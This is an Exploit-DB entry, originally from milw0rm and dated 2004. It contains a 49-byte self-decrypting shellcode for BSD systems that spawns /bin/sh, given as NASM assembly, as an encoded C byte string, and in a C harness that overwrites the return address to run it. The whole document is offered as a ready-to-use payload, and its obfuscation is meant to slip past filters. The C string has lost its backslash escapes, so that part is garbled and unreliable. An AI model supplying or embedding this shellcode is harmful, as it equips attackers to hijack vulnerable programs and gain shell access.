https://www.exploit-db.com/exploits/13251

漏洞细节尚未披露

/* Self decripting (dec/inc) shellcode executes /bin/sh
   Size  49 bytes
   OS	   *BSD
  		/rootteam/dev0id	(www.sysworld.net)
			[email protected] 

BITS	32
jmp	short	shellcode
main:
	pop	esi
	xor	ecx,ecx
	mov	cl,28
main_decript:	
	inc byte [esi+ecx]
	loop	main_decript
	inc byte [esi]
	push	esi
	ret	


shellcode:
call	main

db 	0xea,0x0d,0x5d,0x30,0xbf,0x87,0x45,0x06,0x4f,0x53,0x55,0xaf,0x3a,0x4f,0xcc
db	0x7f,0xe7,0xec,0xfe,0xfe,0xfe,0x2e,0x61,0x68,0x6d,0x2e,0x72,0x67
*/

char shellcode[] =
	"xebx0ex5ex31xc9xb1x1cxfex04x0exe2xfbxfex06x56"
	"xc3xe8xedxffxffxffxeax0dx5dx30xbfx87x45x06x4f"
	"x53x55xafx3ax4fxccx7fxe7xecxfexfexfex2ex61x68"
	"x6dx2ex72x67";

int
main(void)
{
	int *ret;
	ret = (int*)&ret + 2;
	(*ret) = shellcode;
}

// milw0rm.com [2004-09-26]